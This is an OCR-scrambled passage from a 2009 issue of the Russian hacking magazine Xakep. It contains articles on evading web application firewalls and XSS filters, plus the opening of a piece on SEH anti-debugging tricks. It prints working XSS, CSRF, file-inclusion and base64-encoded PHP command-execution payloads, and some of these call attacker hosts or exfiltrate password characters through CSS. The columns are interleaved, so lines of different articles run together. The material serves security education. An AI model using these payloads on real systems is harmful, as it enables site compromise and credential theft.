HIS_INT)==1 && preparse($usermain['userid'
],THIS_INT)>0) ? $usermain['uname'] : subs
tr(deltags($comname),0,50);
$comtitle=substr(deltags($comtitle),0,255);
$in=$db->query("INSERT INTO "
.$basepref."_polling_comment VALUES
(NULL,'".$id."','".$usermain
['userid']."','".NEWTIME."', '$comname',
'$comtitle','$comtext','".REMOTE_
ADDRS."')"); В ситуациях, когда производится фильтрация по нали-
чию того или иного символа в параметре, также есть
Уязвимость возникает после того, как значение пере- свои альтернативы в зависимости от RDBS.

XÀÊÅÐ 10 /130/ 09 059


ВЗЛОМ

ÎÁÕÎÄ ÐÀÇËÈ×ÍÛÕ ÔÈËÜÒÐÀÖÈÉ

XSS Перечислять все возможные способы обхо-


Cross site scripting является, пожалуй, самым да WAF для проведения XSS можно очень
обширным полем для новых идей по обходу долго, поэтому лучше поделюсь ссылками
WAF. Это обуславливается необычайной на сайты, где собственно и рождаются
гибкостью языка JavaScript и адаптивностью новые векторы:
браузеров к некорректному формату HTML. • http://ha.ckers.org/xss.html — многим
На прошедшей в августе конференции знакомый XSS Cheat Sheet; много старья,
BlackHat была представлена работа по про- но автор RSnake обещал в скором времени
ведению XSS в условиях WAF. В презента- обновить список;
ции упомянуто большое количество трюков, • http://sla.ckers.org/forum/list.php?24 —
позволяющих обмануть фильтры. Среди них: исключительно новые векторы от пользова-
телей одного из самых лучших форумов по
<object веб-безопасности;
data="javascript:alert(0)"> • http://maliciousmarkup.blogspot.com — ВИЗУАЛЬНОЕ СОЗДАНИЕ ПРАВИЛ
<isindex блог по теме нестандартных способов выпол- ДЛЯ MOD_SECURITY В REMO
action=javascript:alert(1) нения JS-кода; жаль, почти не обновляется.
type=image> С проблемой легко справляются следующие
<img src=x:alert(alt) PATH TRAVERSAL/LFI/RFI возможности PHP:
onerror=eval(src) alt=0> Почти все векторы из этой категории - Доступ по FTP:
<x:script xmlns:x="http://www. атак связаны с нулл-байтом, который
w3.org/1999/xhtml">alert('xss');</ распознают практически все WAF. Но и /?inc=ftp://attacker/s.txt
x:script> здесь появился новый способ, позво-
ляющий отбросить расширение файла Причем функция file_exists() вернет true.
Самым интересным вектором оказался: без использования ядовитого байта. Этот - Доступ к необработанным POST-данным
метод был обнаружен одним из пользо- (только при allow_url_include=on):
($=[$=[]][(__=!$+$)[_=-~-~- вателей форума sla.ckers.org и получил
~$]+({}+$)[_/_]+($$=($_=!''+$) развитие в работах итальянской команды POST /?inc=php://input HTTP/1.0
[_/_]+$_[+$])])()[__[_/_]+__ USH. Host: localhost
[_+~$]+$_[_]+$$](_/_) Суть заключается в многократном повто- Content-type: text/plain
рении символа «/» после имени файла. Content-Length: 10
Выглядит устрашающе, не правда ли? На Реализация атаки во многом зависит от Connection: close
самом деле, код эквивалентен alert(1); под- платформы, наличия Suhosin patch и дру-
робный его разбор доступен здесь — http:// гих обстоятельств. Допустим, есть уязви- phpinfo();
oxod.ru/?p=290. мый код:
Еще одна работа, которую стоит отме- - Использование враппера data (allow_url_
тить — это статья о внедрении JS-кода в <?php include=on):
HTTP-заголовки refresh и location (http:// include("includes/" . $_
websecurity.com.ua/3386). Следующий вектор GET["inc"]. ".php"); /?inc=data:;base64,PD9waHAgc3lzdGV
из этой статьи может служить еще одним ?> tKCRfR0VUW2NdKTsgPz4=&c=dir
способом обхода WAF:
WAF не пропустит %00 в параметре inc, - А также compress.
/?param=data:text/html;base64,PHNj однако с новым способом возможен инклуд
cmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== произвольных файлов: zlib://, php://filter, ogg:// è
äð.
alert(1), ïðåäñòàâëåííûé â base64, /?inc=../.htpasswd////...4096...
âûïîëíèòñÿ â Opera, Safari è /// ЗАКЛЮЧЕНИЕ
Chrome, åñëè çíà÷åíèå ïàðàìåòðà Развитие Web Application Firewall не стоит на месте.
ïîïàäåò â àòðèáóò URL çàãîëîâêà Более подробно о таких атаках читай в Вместе с тем появляются все новые методы обхода
refresh: моем блоге: raz0r.name/articles/null-byte- различных ограничений. Будь то простенький фильтр
alternative. на PHP или же могучий WAF — при детальном рассмо-
... Что касается Remote File Include (RFI), то трении и упорном анализе убеждаешься, что ничто не
Refresh 0; URL = data:text/html;b атаки следующего вида давно стали легкой лишено слабых мест. Когда эксплуатирование уязви-
ase64,PHNjcmlwdD5hbGVydCgxKTwvc2N добычей WAF: мости, обнаруженной в каком-либо веб-приложении,
yaXB0Pg== становится затруднительным в виду, казалось бы,
... /?inc=http://attacker/s.txt? непреступной защиты WAF, не стоит бросать начатое
дело. Нужно лишь вникнуть в тонкости работы систе-
мы, и тогда верный путь станет очевидным.z

060 XÀÊÅÐ 10 /130/ 09


Ðåêëàìà
ВЗЛОМ
ВЛАДИМИР «D0ZNP» ВОРОНЦОВ HTTP://OXOD.RU

СХЕМА ОБХОДА FIREWALL


С ПОМОЩЬЮ XSS. БЛИЗКО К СЕРДЦУ
НЕ ПРИНИМАТЬ

СКАЗКИ
XSSАХИРИЗАДЫ
1000 И 1 СПОСОБ ОБОЙТИ XSS-ФИЛЬТР
Я не перестаю удивляться этому миру! Если бы две недели назад кто-
нибудь сказал мне, что я буду писать статью в z, посвященную меж-
сайтовому скриптингу — я бы рассмеялся и попросил этой чудной лебе-
ды. Но жизнь на то и жизнь, чтобы не поддаваться прогнозам, а в твоих
руках сейчас материальное доказательство этого факта. Не торопись
пролистывать статью! Как показала практика, даже опытные специа-
листы при написании фильтров не учитывают множества вариантов,
ограничиваясь лишь тем, что можно найти на ha.ckers.org/xss.html.

29 АВГУСТА, 12:00, ПИТЕР конкурсантов — обойти фильтр и показать скоро нахожу первый вариант атаки, минут че-
В рамках фестиваля Chaos Construction пример одного из стандартных видов атаки. рез 30 — второй. Получается, что через фильтр
2009 стартует конкурс Realtime Bitrix WAF Сайт заведомо содержит уязвимости, но поль- проходят следующие строки:
Hack. Организаторы — «1С-Битрикс» и зовательские данные фильтруются WAF. Меня
Possitive Technologies. Смысл затеи — про- привлекает эксплуатация XSS только потому, <style>
тестировать фильтр проактивной защиты что для конкурса Hack-Video я нашел XSS-уяз- @\69\6D\70\6F\72\74 url(http://
WebApplicationFirewall. Эта штуковина обраба- вимость в поле Referer боевого «Битрикса» onsec.ru/xss.css);
тывает данные, поступающие от пользователя версии 8.0.5. Банальные ><script> и onMouse* я </style>
(http-заголовки и GPC) на предмет наличия уже попробовал дома, так что начинаю рыться в style=onsec:e&#92xp&#92re&#92s&#92
в них SQL-injection, XSS, LFI и RFI. Задача памяти и пробую варианты похитрее. Довольно s&#92i&#92o&#92n(alert(‘XSS’))

062 XÀÊÅÐ 10 /130/ 09


onEnd="alert('ONSEC.ru russian двумя-тремя, в лучшем случае десятью события-
security team')"> ми. А сколько их на самом деле? На этот вопрос я
тоже хотел бы знать ответ, но для его получения
HTML-ТРЮКИ СО ЗНАМЕНИТОЙ В моей версии фильтра она уже не работает, требуется, как минимум, собрать вместе все
ПРЕЗЕНТАЦИИ НА ТЕМУ XSS C но на конкурсе была бы как раз в тему. Затем версии всех существующих браузеров и раско-
BLACKHAT 2009 нашлась еще одна нефильтруемая XSS: вырять их, потому что в документации тоже не
всегда все описано. Ниже я приведу наиболее
<MARQUEE BEHAVIOR="alternate" полный список, который собирал по крупицам:
Эти варианты проверяю под IE 7. Как потом ока- onbounce="alert('ONSEC.ru')">xss
залось, второй еще и обходит встроенный фильтр </MARQUEE> Onabort; onactivate;
XSS IE8. На улице стоит более чем хорошая èëè onafterprint; onafterupdate;
погода для августовского Питера, — поэтому на <MARQUEE onstart="alert('ONSEC. onbeforeactivate; onbeforecopy;
большее меня не хватает. Вечером следующего ru')">xss</MARQUEE> onbeforecut; onbeforedeactivate;
дня выясняется, что мои попытки были самыми onbeforeeditfocus; onbeforepaste;
плодотворными. Этот факт меня не перестает В отличие от behavior такое работает и в IE8, и в onbeforeprint; onbeforeunload;
удивлять до сих пор, и именно он является осно- FF 3.5. После этого от «несистемного» подхода к onbeforeupdate; onblur; onbounce;
вой причиной написания статьи. поиску уязвимостей я отказываюсь. Формализую oncellchange; onchange;
задачу поиска возможных XSS до поиска нефильт- onclick; oncontextmenu;
7 СЕНТЯБРЯ, 01:00, МОСКВА руемых тэгов, атрибутов и значений атрибутов. oncontrolselect; oncopy; oncut;
Немного отойдя от произошедшего и получив ondataavailable; ondatasetchanged;
в награду HTC-шку от «Битрикс», я понял, что АТРИБУТЫ ondatasetcomplete; ondblclick;
меня гложет интерес найти еще что-нибудь в С точки зрения хакера наиболее интересны ат- ondeactivate; ondrag; ondragdrop;
пресловутом WAF (затратив на поиски не 40 рибуты событий (Events), потому что это прямой ondragend; ondragenter;
минут, а хотя бы полтора часа). К этому времени способ к выполнению JavaScript-кода без тэга ondragleave; ondragover;
фильтр уже залатали, style теперь не пропус- <script>. Более того, для браузеров совершен- ondragstart; ondrop; onerror;
кает ни в виде тэга, ни в виде атрибута. Фокус с но эквиваленты следующие варианты: onerrorupdate; onfilterchange;
escape-кодированием тоже не проходит, равно onfinish; onfocus;
как и &#92. Спокойно читаю спецификацию <a href="" onMouseMove="alert(1)"> onfocusin; onfocusout;
на браузеры и нахожу приятную возможность <a href="" onMouseMove=”javascript: onhashchange; onhelp;
использовать behavior под IE, которой так и не alert(1)"> onkeydown; onkeypress; onkeyup;
сумел воспользоваться на СС09 ввиду отсутс- <a href=" onlayoutcomplete; onload;
твия локального файла нужного контента: onMouseMove="xakep:alert(1)"> onlosecapture; onmessage;
<a href="" onmousedown; onmouseenter;
<P STYLE="b&#92eh&#92a&#92v&#92i& onMouseMove="nonxss:alert(1)"> onmousemove; onmouseout;
#92o&#92r:url('#default#time2')" onmouseover; onmouseup; onmove;
Это точно работает и в IE 8, Opera 10.00, Firefox onmoveend; onmovestart;
MSDN — КЛАДЕЗЬ ЗНАНИЙ. ЕСЛИ 3.5, Safari, Chrome. Как думаешь, все фильтры onoffline; ononline;
НАДО НАЙТИ НЕФИЛЬТРУЕМЫЙ
имеют правильные регулярные выражения onpage; onpaste; onprogress;
EVENT — ТЕБЕ СЮДА
под такие строки? Большинство действитель- onpropertychange;
но имеют, поэтому просто намотаем на ус и onreadystatechange; onreset;
двинемся дальше. onresize; onresizeend;
У атрибутов событий три недостатка: onresizestart; onrowenter;
1. Вызов происходит после чего-то, и это «что- onrowexit; onrowsdelete;
то» часто требует каких-то действий со стороны onrowsinserted; onscroll; onselect;
пользователя. onselectionchange; onselectstart;
2. Все атрибуты событий начинаются на onstart; onstop;
«on», — что теоретически позволяет написать onstorage; onstoragecommit;
регулярное выражения под них всех. onsubmit; ontimeerror; ontimeout;
3. Обычно они применимы только к определен- onunload;
ным тэгам. onend; onMediaComplete;
Расстраиваться тут незачем — еще ни один onMediaError; onOutOfSync; onPause;
фильтр не имеет регулярного выражения под onRepeat;
все события сразу. Связано это, прежде всего, onResume; onReverse; onSeek;
с ложными срабатываниями, но об этом позже. onSynchRestored; onTrackChange;
Так что — фильтруются обычно конкретные onURLFlip.
ОНЛАЙН-СЕРВИС JJ-ENCODE ДЛЯ события, и тут из-за собственной лени про-
ПРИДАНИЯ JAVASCRIPT ЗАКОН- граммисты забывают прочитать спецификации Ну что, несколько больше чем ты ожидал? Это
ЧЕННОГО ВИДА :) браузеров или хотя бы MSDN, ограничиваясь еще даже не весь список того, что я собрал, не-

XÀÊÅÐ 10 /130/ 09
063
ВЗЛОМ

ЕСЛИ ХАКЕР СТАВИТ ПЕРЕД


WARNING
СОБОЙ ЦЕЛЬ ПОЛУЧИТЬ
ПОЛЬЗУ ОТ XSS-АТАКИ, ОН
info
Внимание! Инфор- СДЕЛАЕТ ВРЕДОНОСНЫЙ
мация представлена
исключительно КОД КОМБИНИРОВАННЫМ.
с целью ознаком-
ления! Ни автор, ни HTML. Также в этом списке есть архаизмы вроде <ilayer>, — я
редакция за твои даже не берусь сказать, начиная с каких версий, популярные
действия ответствен- браузеры перестали его поддерживать. Однако не забывай:
ности не несут! ДЕМОНСТРАЦИЯ ИДЕИ CLICKJACKING XSS — это игра с браузером и не надо пренебрегать любой
возможностью. Если хакер ставит перед собой цель получить
пользу от XSS-атаки, он обязательно сделает вредонос-
которые куски потерялись ;). Потенциально каждая строчка ный код комбинированным, включит несколько тегов под
из этого списка — XSS-уязвимость. Но, во-первых, не всегда разные версии разных браузеров. Пригодится ссылка www.
удается «прислонить» ее к нужному атрибуту, а во-вторых, browsertests.org, — там можно найти результаты тестирова-
не всегда удается спровоцировать нужное для выполнения ния многих атрибутов и тегов в различных браузерах.
HTTP://WWW кода действие. Наряду с событиями для XSS-атаки могут
использоваться и другие атрибуты. Вот известные мне: CSRF, ИЛИ НЕ JAVASCRIPT’ОМ
links ЕДИНЫМ
• oxod.ru — мой codebase Кроме выполнения JavaScript (ну или того же VBScript)
блог. Пишу по мере dynsrc кода, схожие атаки могут применяться для отправки
желания. Жду ком- lowsrc запросов без ведома пользователя. Они получили на-
ментариев, отвечу на xmlns звание Cross-Site Request Forgery. Самый тривиаль-
вопросы. seekSegmentTime ный способ — <img src=http://megasite.ru/
src mygetrequest?mygetparam=value>. При обработке
• utf-8.jp/public/ style такого тега внутри любой HTML-страницы браузер пользова-
jjencode.html — сер- теля сразу полезет искать картинку по адресу, то есть отправит
вис по шифрованию Не все из них тривиально могут быть использованы, однако, туда HTTP GET запрос. Таким образом, можно, например,
JavaScript. когда исследуешь фильтр, не знаешь заранее ничего и надо попробовать отправить запрос к админке, если она такая
собрать как можно больше нефильтруемых исключений, небезопасная, что принимает GET. Администратор заходит
• p42.us/favxss/fav. чтобы потом из них уже готовить конкретную атаку. на страницу и его браузер лезет искать картинку, отправляя
ppt — презентация запрос административному скрипту (разумеется, с правиль-
XSS filters bypass ТЕГИ ными кукисами администратора и от его IP-адреса). Если
с BlackHat 2009. Предположим, фильтр дает возможность выводить на фильтруются расширения или ключевые слова запроса — не
страницу символы <>, таким образом, можно пробовать раз- беда. Такая «защита» выеденного яйца не стоит. Согласно
• disenchant.ch/ личные теги. Здесь опять разработчики оставляют хакерам спецификации http-протокола, статус 3хх говорит о переме-
blog/wp-content/ поле для действий. Вот список тегов, которые пригодятся: щении контента и надо послать запрос на указанный адрес.
uploads/2008/05/ Создаем скрипт img.php (можно и img.gif, настроив свой веб-
xss_presentation.pdf Style сервер соответствующим образом) следующего содержания:
— довольно большая, Script
но не очень интерес- Embed <?php
ная презентация по Object header('Location: http://attacked-host/
XSS. Applet admin.php?act=delUser&id=1');
Meta die();
• slideshare.net/ Iframe ?>
guestdb261a/ Frame
csrfrsa2008 Frameset — и получаем ровным счетом то же самое. Таким образом,
jeremiah Ilayer все, что позволяет вставлять свои картинки в сообщения
grossman- Layer подходит для атаки. Тут я немного лукавлю, потому что веб-
349028 — рекомендую Bgsound приложение может запросить байты твоего «рисунка» и
ознакомиться Base прогнать их через графическую библиотеку, например LibGD.
с материалами на Xml Тогда такой способ не пройдет. Впрочем, подобных веб-при-
тему CSRF. Import ложений очень мало. Но это еще легко. Если есть JavaScript
Link — можно работать с DOM-объектами, например, отправлять
Html формы. Это, как минимум, дает уже POST-запрос. Просто
Img создаешь document.write нужные объекты form, input и все
остальное где-нибудь в невидимом div, а потом делаешь
Я не включаю сюда тот же <MARQUEE>, хотя выше сам document.myform.submit(). Еще можно отправить POST-
приводил атаку с его помощью. Делаю это умышленно — по запрос через встроенные объекты window.ActiveXObject
той же логике можно было включить сюда вообще все теги для Internet Explorer и window.XMLHttpRequest для Mozilla,

064 XÀÊÅÐ 10 /130/ 09


HA.CKERS.ORG — АЗБУКА XSS. XSS, КОТОРАЯ ОБХОДИТ ФИЛЬТ-
РЕКОМЕНДОВАНО К ПЕРЕОСМЫС- РАЦИЮ БЛАГОДАРЯ КОДИРОВКЕ
ЛЕНИЮ UTF-7. БЫЛА НАЙДЕНА
ТА САМАЯ XSS ЧЕРЕЗ БИТРИКС В GOOGLE В 2005 ГОДУ
Safari, Chrome. Универсальный JavaScript будет WAF, КОТОРАЯ НАШЛАСЬ ПОСЛЕ
примерно таким: CHAOS CONSTRUCTIONS 2009

function makePOSTRequest попался, распечатывает картинку на принтере. Тут я задерживаться особо не буду. Возьми на
(url, parameters) Атака выглядит следующим образом: заметку, если что непонятно — в Сети много
{ материалов на эту тему. Я же продолжу повест-
http_request = false; <img src='myprinter:9100/Printed_ вование именно о методах обхода фильтров.
// Mozilla, Safari,... from_the_web/>
if (window.XMLHttpRequest) БУДЬ СТИЛЬНЫМ!
{ Это, конечно, концепция, но с помощью ИСПОЛЬЗОВАНИЕ CSS2
http_request = new XMLHttpRequest(); JavaScript и POST-запроса печать действи- И CSS3 ДЛЯ XSS
if(http_request.overrideMimeType) тельно получится. Прежде всего, упомяну заезженные вещи. Для
{ Internet Explorer существует способ выполнять
// set type accordingly to anticipated CLICKJACKING JavaScript с помощью функции expression(). В
content type Это новая и интересная техника. Суть проста, как качестве аргумента ей передается сам скрипт.
http_request.overrideMimeType( помидор — атакуемый сайт подгружается как Пример реализации — в самом начале статьи.
'text/html'); подложка под какой-нибудь другой слой, напри- Чуть менее заезженный прием для IE — исполь-
} мер, игру типа «попади мышкой». Пользователь зование behavior. Проблема в том, что можно
} щелкает по движущейся мишени, нажимая на подключить только файл, расположенный на
else if (window.ActiveXObject) реальные кнопки атакуемого сайта, который он том же домене. Вот HTML:
{ // IE не видит. Сделать это можно и с помощью Flash
try { и с помощью CSS. Вот вариант от David Ross: <div style=”behavior: url(“/file.
http_request = new ActiveXObject( htc”)
"Msxml2.XMLHTTP"); iframe,frame,object,applet {
} border:1px solid #000 !important; Содержимое подключаемого файла примерно
catch (e) visibility:visible !important; следующее:
{ opacity: 1 !important;
try { filter: alpha(opacity=100) <attach event="ondocumentready"
http_request = new ActiveXObject( !important; handler="parseStylesheets" />
"Microsoft.XMLHTTP"); position:absolute !important; <script language="JavaScript">
} float:none !important; function parseStylesheets() {
catch (e) overflow:auto !important; alert(document.cookie + '\nONSEC.
{} .... ru security research team')
} } }
} </script>
if (!http_request) { Или вот — от его же банды — с помощью html и
return false; стилей: Есть небольшой положительный момент —
} такую конструкцию можно засунуть внутрь дру-
<html> гого HTML; IE распознает там все, что нам надо
http_request.onreadystatechange = \ <head> и выполнит. Таким образом, есть возможность
alertContents; </head> использоваться как бы два XSS кряду и вызвать
http_request.open('POST', url, true); <body> какую-нибудь административную javascript-
http_request.setRequestHeader( <image ISMAP style="position: функцию. Сейчас расскажу более подробно.
"Content-type", absolute;width:100%;height:10 Предположим, есть сайт с уязвимостью XSS
"application/x-www-form-urlencoded"); 0%;" onmousedown="this.style. и фильтром, который фильтрует script, но
http_request.setRequestHeader( display='none'"> пропускает behavior. Для наглядности, — пусть
"Content-length", parameters.length); <iframe src="http://www.microsoft. существует уязвимость в админке и в поис-
http_request.setRequestHeader( com" id=x type=text/html width=500 ке, но все варианты XSS, кроме behavior, не
"Connection", "close"); height=500 codetype=text/html работают. Предлагаю вот такой «двойной»
http_request.send(parameters); id=x></iframe></image> вектор: http://xssed-site.com/search/q=<div
} </button> style="behavior:url(http://xssed-site.com/
</body> admin/q=<attach event="ondocumentready"
Но самый веселый вариант, который мне </html> handler="delUser(1)"/>)>

XÀÊÅÐ 10 /130/ 09
065
ВЗЛОМ

Тут мы подключаем к странице поиска страни- style=xss:&#92&#54&#53&#92&#55&#56


цу админки, где также присутствует XSS. При &#92&#55&#48&#92&#55&#50&#92&#54&#
этом привязываем функцию delUser(1) (еще 53&#92&#55&#51&#92&#55&#51&#92&#54
раз повторю, эта не наша функция, а функция &#57&#92&#54&#102&#92&#54&#101&#92
самой админки) к событию ondocumentready. &#50&#56&#92&#54&#49&#92&#54&#99&#
Все на одном домене, и такой код отработает! 92&#54&#53&#92&#55&#50&#92&#55&#52
Едем дальше. Для движка мозиллы есть &#92&#50&#56&#92&#51&#49&#92&#50&#
такая штуковина, как –moz-binding: url(http:// 57&#92&#50&#57></div>
hackme.com/bindme.xml#xss). Это позволяет <!—xss:expression(alert(1))-->
подключить внешний XML, внутри которого
будет содержаться JavaScript. Вот пример Работает Opera 10, Chrome, Safari, IE 8, FF 3.5 (сам
такого XML-файла: expression, естественно, отрабатывается только
IE).Есть прекрасная исследовательская работа
<bindings xmlns="http:// по распознаванию тегов и атрибутов в Internet
www.mozilla.org/xbl" Explorer 6. Но так как она немного устарела, я
xmlns:html="http://www. не буду цитировать приемы оттуда. Если будет
w3.org/1999/xhtml"> ЭТИ ДЕВУШКИ ВЫДАЮТ НАГРАДУ желание — найдешь ее на antichat.ru. Предпо-
<binding id="xss"> ЗА КАЖДУЮ НАЙДЕННУЮ УЯЗВИ- ложим теперь ситуацию, что доступ к выпол-
<implementation> МОСТЬ В СЕРВИСАХ GOOGLE нению JavaScript получен, однако фильтр не
<constructor> пропускает нужные выражения вроде document.
alert("XSS"); DATA:TEXT/HTML cookie, location.href, document.write и прочее. Тут
</constructor> Популярный в последнее время прием обхода расстраиваться незачем. Пока фильтр не имеет
</implementation> фильтров. Главное преимущество — поддержка JavaScript-процессора, его всегда можно обойти
</binding> base64-формата. Таким образом, внутреннее средствами самого JavaScript. На прошедшей
</bindings> выражение фильтрам подвержено заведомо не BlackHat 2009 был представлен интересный
будет. Реализации, например, такие: способ приведения кода к нефильтруемому виду
Есть одна маленькая загвоздка — прием не — alert(1) заменяется на json-представление:
будет работать в FF3.5. Покончив с особеннос- <iframe src="data:text/html;base64,
тями браузеров, переходим к особенностям PHNjcmlwdD5hbGVydCgnWFNTJyk8L3Njcm ($=[$=[]][(____=!$+$)[_=-~-~-
самого CSS. Начнем, конечно, с инклудов. С lwdD4K"></iframe> ~$]+({}+$)[_/_]+($$=($_=!”+$)
точностью до представления кода синтаксис <FRAMESET><FRAME SRC="data:text/htm [_/_]+$_[+$])])()[__[_/_]+__
выглядит вот так: l;base64,PHNjcmlwdD5hbGVydCgnWFNTJ [_+~$]+$_[_]+$$](_/_)
yk8L3NjcmlwdD4K"></FRAMESET>
<style> <OBJECT TYPE="text/x-scriptlet" Ну, как, читаемо? А главное — все символы печат-
@import "http://xakepsite.com/xss.css" DATA="data:text/html;base64,PHNjc ные. Этот пример я подробно разобрал в своей за-
</style> mlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4 метке: http://oxod.ru/2009/08/26/обход-xss-филь-
K"></OBJECT> тров-по-средствам-особенос. А вот примерчик
Ну, а уже внутри этого безобразия можно скрыть обхода фильтрации document.cookie от меня:
все, что упомянуто выше. Теперь чуть веселее Также прекрасно выполняется в адресной
— чтение значений тегов посредством чистого строке браузера. Работает везде, кроме Internet ($=("+([]
CSS3. Для примера, у нас имеется input, в кото- Explorer. Помимо text/html можно использовать ['pop']))+");(_="+this);$$$
рый пользователь вводит пароль. Прикручива- вариации на тему. = _[11]+$[6]+$[3]+$[1]+'
ем CSS с содержанием: m'+$[20]+$[2]+$[4];$$_ =
«ОБФУСКАЦИЯ» КОДА $[3]+$[6]+$[6]+"k”+$[5]+$[20];
input[value*="\x10"]{ Браузеры по-разному обрабатывают HTML alert(this[$$$][$$_])
background:url("//xakepsite. — это ни для кого не секрет. Используя те или
com/?h=\x10"); иные особенности, можно приводить рабочий Тут идея в том, что, приводя типы и значе-
} код к состоянию, когда он не попадает под ния переменных к строкам, мы получаем из
… è òàê äàëåå … регулярные выражения фильтров. Природе них нужные символы для составления слов
input[value*=“\x7F”]{ известны многие варианты, например: document и cookie. Естественно, ни один
background:url(“//attacker. фильтр не справится с такой задачей, не имея
com/?h=\x7F”); <p/alt="noxss"onmouseover=alert(/ возможности самому выполнять JavaScript.
} XSS/)>test</p>
ЗАКЛЮЧЕНИЕ
Что это дает? Каждый раз, когда символ пароля Работает в Opera 10, IE 8, FF 3.5, но не понима- Хотел заострить внимание именно на XSS-
попадает в диапазон 10-7F, отсылается соот- ется Chrome и Safari. фильтрах, которые в последнее время все чаще
ветствующий запрос. Таким образом, по выходу появляются на веб-серверах. При написании
у нас будут все символы пароля. Останется <style>@\69\6d\70\6f\72\74 '// фильтров очень важно поймать грань между не-
только расположить их в нужном порядке. В xakep-site.com/xss.css';</style> обходимым и излишним. И обязательно — про-
реальной жизни диапазон в 111 символов <p style="f&#92;iltere&#92;d: верить фильтр на ложные срабатывания, чтобы
можно расширить, а с помощью асинхронных va&#92;lue"/> потом не пришлось разбираться с негодующими
включений CSS восстановить и последова- <div style=f\il\te\r\ed:val\ue></div> пользователями. Теперь стало очевидно, что
тельность символов. Тут я останавливаться не <div style=xss:\65\78\70\72\65\73\7 отделаться десятью регулярными выражениями
буду, пример реализации — eaea.sirdarckcat. 3\69\6f\6e\28\61\6c\65\72\74\28\31 не выйдет. Вот вроде бы и все, призываю писать
net/cssar. \29\29></div> хорошие продукты и исследовать их с энтузиаз-
<div мом. На вопросы отвечаю в блоге oxod.ru. z

066 XÀÊÅÐ 10 /130/ 09


X-Contest!
ÍÎÂÛÅ ÕÀÊ-ÊÂÅÑÒÛ ÊÀÆÄÛÉ ÌÅÑßÖ
íà www.ring0cup.ru
ÇÀÕÎÄÈ ÍÀ ÑÀÉÒ ÏÐÈÇÛ 25 ÎÊÒßÁÐß
WWW.RING0CUP.RU, DEFENDER BERN 795
БЕСПРОВОДНОЙ НАБОР КЛАВИАТУРА ÑÒÀÐÒÓÅÒ
ÏÐÎÁÓÉ ÑÂÎÈ ÑÈËÛ + МЫШЬ.
ÎÊÒßÁÐÜÑÊÈÉ
Õ-ÊÎÍÊÓÐÑ
• 19 ХОТКЕЕВ ДЛЯ БЫСТРОГО ДОСТУПА

 ÐÅÂÅÐÑÈÍÃÅ, К ПРИЛОЖЕНИЯМ
• КОЛЕСО УПРАВЛЕНИЯ ЗВУКОМ

ÏÅÍ-ÒÅÑÒÅ È ÐÅØÅÍÈÈ НА КЛАВЕ


• РАДИОЧАСТОТА 2,4 ГГЦ

ÕÀÊÅÐÑÊÈÕ • ЭРГОНОМИЧНЫЙ ДИЗАЙН


И ПРОРЕЗИНЕННОЕ ПОКРЫТИЕ

ÃÎËÎÂÎËÎÌÎÊ • ТРЕХУРОВНЕВАЯ СИСТЕМА


ЭКОНОМИИ ЭНЕРГИИ

È ÂÛÈÃÐÛÂÀÉ ÏÐÈÇÛ.

Èòîãè
ñåíòÿáðüñêîãî DEFENDER ZURICH 755

êîíêóðñà БЕСПРОВОДНАЯ ЛАЗЕРНАЯ МЫШЬ


• Разрешение: 800 cpi / 1600 cpi
• Радиус действия: 8 метров
1. Xek0 • Питание: 2 батарейки АА

2. JAcKiE
3. peretc89
4. ianepanda
5. mazalamo

XÀÊÅÐ 10 /130/ 09 67
ВЗЛОМ
ЛЕОНИД «CR@WLER» ИСУПОВ CRAWLER@XAKEP.RU

ÝÍÖÈÊËÎÏÅÄÈß
ÀÍÒÈÎÒËÀÄÎ×ÍÛÕ
ÏÐÈÅÌÎÂ
Одно из самых больших удовольствий для реверсера (иногда
— и большая головная боль) — преодоление защит, которые
«завязаны» на обработке исключений. Если ты еще не знаком
с подобным принципом защитных механизмов то, все, что
изложено ниже, тебе очень пригодится. «На закуску» — еще один
защитный трюк: использование одной интересной особенности
работы функции vsprintf (), буквально «убивающей» OllyDbg.

«ИСКЛЮЧИТЕЛЬНАЯ» мается системный обработчик. Каким образом Разберем следующий код, который внесен в
ЗАЩИТА установить обработчик собственный? рассмотренную нами программу-«дрозофилу»
Часто в процессе работы программы возни- Указатель на структуру, содержащую адрес «ex.exe» при помощи отладчика OllyDbg (не
кают ситуации, которые невозможно предус- обработчика (который также совпадает и с забывай, что код вносится, начиная с адреса
мотреть. Например, попытка записи в ячейку адресом указателя на сам обработчик), нахо- 00401026, что требует использования LordPe
памяти, которая принадлежит странице с дится по адресу FS:[0]. Следовательно, для для изменения точки входа в программу):
неустановленным атрибутом «writeable», того, чтобы заменить системный обработчик
или же деление на ноль. Для таких ситуаций собственным, необходимо поместить в стек 00401026 XOR EAX,EAX; EAX=0
программисты Microsoft создали механизм структуру, содержащую адрес нового обработ- 00401028 PUSH 0040103A ; ïîìåùåíèå
обработки исключений. чика, и указатель на старый обработчик. После àäðåñà íîâîãî îáðàáîò÷èêà â ñòåê
Обработчик исключений, или SEH (англ. чего поместить по адресу FS:[0] указатель на 0040102D PUSH DWORD PTR FS:[EAX]
«Structured Exception Handling») — часть кода, новую структуру. ; ïîìåùåíèå àäðåñà ñòàðîãî îáðàáîò-
на которую возложена функция обработки Не будем терять время, рассмотрим на прак- ÷èêà â ñòåê
ошибок для данного треда. Нужно пояснить, тике один из антиотладочных приемов. Если 00401030 MOV DWORD PTR
что представляет собой тред (от англ. «thread», ты читал предыдущий выпуск журнала, то FS:[EAX],ESP; ïîìåùåíèå â FS:[0]
нить). Думаю, ты знаешь, что код программы помнишь, что мы исследовали небольшую óêàçàòåëÿ íà ñòðóêòóðó
может быть «распараллелен», то есть не- программу-«дрозофилу» (воспользуемся 00401033 CALL 00401033; ãåíåðàöèÿ
сколько частей программы могут выполняться термином, который иногда в своих статьях ис- èñêëþ÷åíèÿ ïóòåì ïåðåïîëíåíèÿ ñòåêà
одновременно — в контексте единственного пользует Крис), написанную на ассемблере. Ее 00401038 JMP SHORT 00401038;
процесса (например, в графическом редакторе можно найти на нашем диске; точка входа рас- äàííàÿ èíñòðóêöèÿ íèêîãäà íå áóäåò
одновременно могут выполняться печать изоб- полагается по адресу 0x0401000, а код, который èñïîëíåíà
ражения и его редактирование). Каждая такая выдает окошко с надписью «Hello, World!», 0040103A POP EAX; âîññòàíîâèòü
часть программы и называется тредом. При имеет размер всего 26h байт. Соответственно, ðåãèñòð
этом для каждого треда может быть установлен начиная с адреса 0x401026, располагается 0040103B POP EAX; âîññòàíîâèòü
собственный обработчик исключений. «выравнивающий» секцию массив нулевых ðåãèñòð
